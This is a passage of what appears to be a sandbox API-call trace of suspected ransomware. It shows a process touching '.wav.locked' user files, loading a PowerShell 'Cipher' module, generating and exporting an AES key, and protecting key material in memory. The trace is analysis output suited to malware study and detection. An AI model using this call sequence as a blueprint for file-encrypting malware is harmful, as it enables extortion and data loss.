EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.516] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a99fb0 | out: lpFileInformation=0x6a99fb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12cc662f, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12cc662f, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12cc662f, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xaf94)) returned 1 [0133.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.517] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", lpFilePart=0x0) returned 0x46 [0133.518] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.518] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.518] CloseHandle (hObject=0x858) returned 1 [0133.522] GetConsoleOutputCP () returned 0x1b5 [0133.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.522] GetConsoleOutputCP () returned 0x1b5 [0133.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.523] GetConsoleOutputCP () returned 0x1b5 [0133.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.523] GetConsoleOutputCP () returned 0x1b5 [0133.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.523] GetConsoleOutputCP () returned 0x1b5 [0133.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.524] GetConsoleOutputCP () returned 0x1b5 [0133.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.524] GetConsoleOutputCP () returned 0x1b5 [0133.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.525] GetConsoleOutputCP () returned 0x1b5 [0133.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.525] GetConsoleOutputCP () returned 0x1b5 [0133.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.526] GetConsoleOutputCP () returned 0x1b5 [0133.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.526] GetConsoleOutputCP () returned 0x1b5 [0133.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.527] GetConsoleOutputCP () returned 0x1b5 [0133.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.527] GetConsoleOutputCP () returned 0x1b5 [0133.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.527] GetConsoleOutputCP () returned 0x1b5 [0133.528] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.528] GetConsoleOutputCP () returned 0x1b5 [0133.528] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.528] GetConsoleOutputCP () returned 0x1b5 [0133.529] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.529] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.529] GetConsoleOutputCP () returned 0x1b5 [0133.530] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.530] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.530] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac0d9c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ac0d9c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.531] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.531] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.536] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.536] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.536] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.536] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.539] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.539] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.539] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.539] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.540] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0133.540] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e85138) returned 1 [0133.540] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.541] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.541] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6aca67c, pdwDataLen=0x99ae894 | out: pbData=0x6aca67c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.541] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.541] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.541] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.541] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.541] SysStringLen (param_1="") returned 0x8 [0133.541] SysStringLen (param_1="I") returned 0x8 [0133.541] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="\x22fc\xb091\x9a12\xbe08\x6ca0\x26de\x60c7\x850c") returned 0x8 [0133.542] SysStringLen (param_1="\x22fc\xb091\x9a12\xbe08\x6ca0\x26de\x60c7\x850c") returned 0x8 [0133.542] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="IJ") returned 0x8 [0133.542] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="\x4134\x5ab5\x21f1\x4ee7\xf75\x7d07\x9850\x9900") returned 0x8 [0133.542] SysStringLen (param_1="\x4134\x5ab5\x21f1\x4ee7\xf75\x7d07\x9850\x9900") returned 0x8 [0133.542] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="IJ8") returned 0x8 [0133.542] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="\x4e2f\xd3fe\x3d6b\xfae9\x8ede\xcf72\x3013\xa381") returned 0x8 [0133.542] SysStringLen (param_1="\x4e2f\xd3fe\x3d6b\xfae9\x8ede\xcf72\x3013\xa381") returned 0x8 [0133.542] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="IJ8S") returned 0x8 [0133.542] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.542] SysStringLen (param_1="\xef9e\x602b\x6457\xf84e\x1958\xf053\xbe63\x7568") returned 0x8 [0133.542] SysStringLen (param_1="\xef9e\x602b\x6457\xf84e\x1958\xf053\xbe63\x7568") returned 0x8 [0133.543] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="IJ8S1") returned 0x8 [0133.543] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="\x15ad\x52b0\x2862\xbb72\xadaa\x824b\x6a08\x600") returned 0x8 [0133.543] SysStringLen (param_1="\x15ad\x52b0\x2862\xbb72\xadaa\x824b\x6a08\x600") returned 0x8 [0133.543] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="IJ8S1e") returned 0x8 [0133.543] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="\xbdf\x97e7\xa5bb\x6984\x1a09\xcf5e\x8e40\x73dd") returned 0x8 [0133.543] SysStringLen (param_1="\xbdf\x97e7\xa5bb\x6984\x1a09\xcf5e\x8e40\x73dd") returned 0x8 [0133.543] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="IJ8S1e0") returned 0x8 [0133.543] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.543] SysStringLen (param_1="\xc72a\xa4f7\x8353\x71d\xf37b\x5a18\x693f\x381") returned 0x8 [0133.543] SysStringLen (param_1="\xc72a\xa4f7\x8353\x71d\xf37b\x5a18\x693f\x381") returned 0x8 [0133.543] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.544] SysStringLen (param_1="IJ8S1e0V") returned 0x8 [0133.544] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827") returned 0x8 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827") returned 0x8 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827") returned 0x8 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827") returned 0x10 [0133.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.544] SysStringLen (param_1="IJ8S1e0Vy뷦賅䦞풥噙㣴") returned 0x10 [0133.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x39f7\x37c4\x311d\xe945\x2cd8\x9ebf\x26d\x3b3b") returned 0x10 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x39f7\x37c4\x311d\xe945\x2cd8\x9ebf\x26d\x3b3b") returned 0x10 [0133.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.544] SysStringLen (param_1="IJ8S1e0VyU賅䦞풥噙㣴") returned 0x10 [0133.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x3968\x74b1\x7a8f\x31ba\xd6a6\x65a2\x5060\xfe4b") returned 0x10 [0133.544] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x3968\x74b1\x7a8f\x31ba\xd6a6\x65a2\x5060\xfe4b") returned 0x10 [0133.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="IJ8S1e0VyUr䦞풥噙㣴") returned 0x10 [0133.545] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x5703\x3cb2\xa794\x1c16\xf318\x5c9f\x7242\xc052") returned 0x10 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x5703\x3cb2\xa794\x1c16\xf318\x5c9f\x7242\xc052") returned 0x10 [0133.545] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="IJ8S1e0VyUrb풥噙㣴") returned 0x10 [0133.545] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x34b\xe95d\xaa62\xad97\x2791\xc80f\xec4c\x30d8") returned 0x10 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x34b\xe95d\xaa62\xad97\x2791\xc80f\xec4c\x30d8") returned 0x10 [0133.545] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="IJ8S1e0VyUrbJ풥噙㣴") returned 0x10 [0133.545] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x1c53\xd109\x595a\xc4a2\x8887\x5be7\x1305\x7421") returned 0x10 [0133.545] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x1c53\xd109\x595a\xc4a2\x8887\x5be7\x1305\x7421") returned 0x10 [0133.545] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="IJ8S1e0VyUrbJK噙㣴") returned 0x10 [0133.546] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x220b\x7244\xc2e9\x29b4\x1924\x5d52\x4183\x2262") returned 0x10 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x220b\x7244\xc2e9\x29b4\x1924\x5d52\x4183\x2262") returned 0x10 [0133.546] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="IJ8S1e0VyUrbJKc㣴") returned 0x10 [0133.546] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\xdbf4\x24fe\xf6c6\x1a4b\x626e\xf432\x5b2a\xb9bb") returned 0x10 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\xdbf4\x24fe\xf6c6\x1a4b\x626e\xf432\x5b2a\xb9bb") returned 0x10 [0133.546] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="IJ8S1e0VyUrbJKcx") returned 0x10 [0133.546] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c") returned 0x10 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c") returned 0x10 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c") returned 0x10 [0133.546] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c") returned 0x18 [0133.546] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.547] SysStringLen (param_1="IJ8S1e0VyUrbJKcxR럑鈡蔊㤱뼦㇏") returned 0x18 [0133.547] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.547] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\x6514\x652a\x2f6b\x5ff0\x1da5\x5e33\xba91\x722") returned 0x18 [0133.547] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\x6514\x652a\x2f6b\x5ff0\x1da5\x5e33\xba91\x722") returned 0x18 [0133.547] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.547] SysStringLen (param_1="IJ8S1e0VyUrbJKcxRA럑鈡蔊㤱뼦㇏") returned 0x18 [0133.547] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.547] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\xbbf2\x731d\xd931\xc4b7\x4ac2\x2b40\xe537\x1923") returned 0x18 [0133.547] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\xbbf2\x731d\xd931\xc4b7\x4ac2\x2b40\xe537\x1923") returned 0x18 [0133.547] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.547] SysStringLen 